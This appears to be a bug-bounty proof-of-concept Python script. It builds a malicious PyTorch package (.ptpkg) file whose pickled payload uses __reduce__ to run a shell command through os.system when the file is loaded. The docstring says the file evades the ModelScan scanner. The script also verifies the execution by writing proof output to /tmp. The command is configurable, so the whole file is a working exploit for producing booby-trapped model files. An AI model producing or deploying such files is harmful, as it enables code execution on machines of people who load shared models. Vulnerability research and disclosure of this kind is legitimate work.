| |
| """PyTorch Package (.ptpkg) ModelScan bypass PoC |
| |
| MFV Target: #38 PyTorch Package ($1500) |
| Mechanism: PackageImporter.load_pickle() -> pickle.loads() -> RCE |
| ModelScan: Blind - no .ptpkg support + ZIP skip |
| """ |
|
|
| import os |
| import torch |
| import torch.package as tpkg |
|
|
|
|
| RCE_CMD = 'echo "PWNED_PTPKG" > /tmp/ptpkg_proof.txt && id >> /tmp/ptpkg_proof.txt' |
|
|
|
|
| def create_malicious_ptpkg(rce_cmd=None, output="malicious.ptpkg"): |
| """Create a malicious .ptpkg file with RCE payload.""" |
| if rce_cmd is None: |
| rce_cmd = RCE_CMD |
|
|
| class EvilPayload: |
| def __reduce__(self): |
| return (os.system, (rce_cmd,)) |
|
|
| with tpkg.PackageExporter(output) as pe: |
| pe.save_pickle("model", "model.pkl", EvilPayload()) |
|
|
| print(f"Created: {output} ({os.path.getsize(output)} bytes)") |
| print(f"PyTorch: {torch.__version__}") |
| print(f"\nTest: python3 -c \"import torch.package as tpkg; " + |
| f"tpkg.PackageImporter('{output}').load_pickle('model', 'model.pkl')\"") |
| return output |
|
|
|
|
| def verify_rce(ptpkg_path): |
| """Verify RCE triggers on load.""" |
| import subprocess |
|
|
| |
| if os.path.exists("/tmp/ptpkg_proof.txt"): |
| os.unlink("/tmp/ptpkg_proof.txt") |
|
|
| |
| try: |
| importer = tpkg.PackageImporter(ptpkg_path) |
| obj = importer.load_pickle("model", "model.pkl") |
| print(f"Object returned: {obj}") |
| except Exception as e: |
| print(f"Post-RCE error (expected): {e}") |
|
|
| |
| if os.path.exists("/tmp/ptpkg_proof.txt"): |
| print("\n=== RCE CONFIRMED ===") |
| with open("/tmp/ptpkg_proof.txt") as f: |
| print(f.read()) |
| else: |
| print("\n=== RCE FAILED ===") |
|
|
|
|
| if __name__ == "__main__": |
| |
| import sys |
| output = sys.argv[1] if len(sys.argv) > 1 else "malicious.ptpkg" |
| path = create_malicious_ptpkg(output=output) |
| print("\n--- Verifying RCE ---") |
| verify_rce(path) |
|
|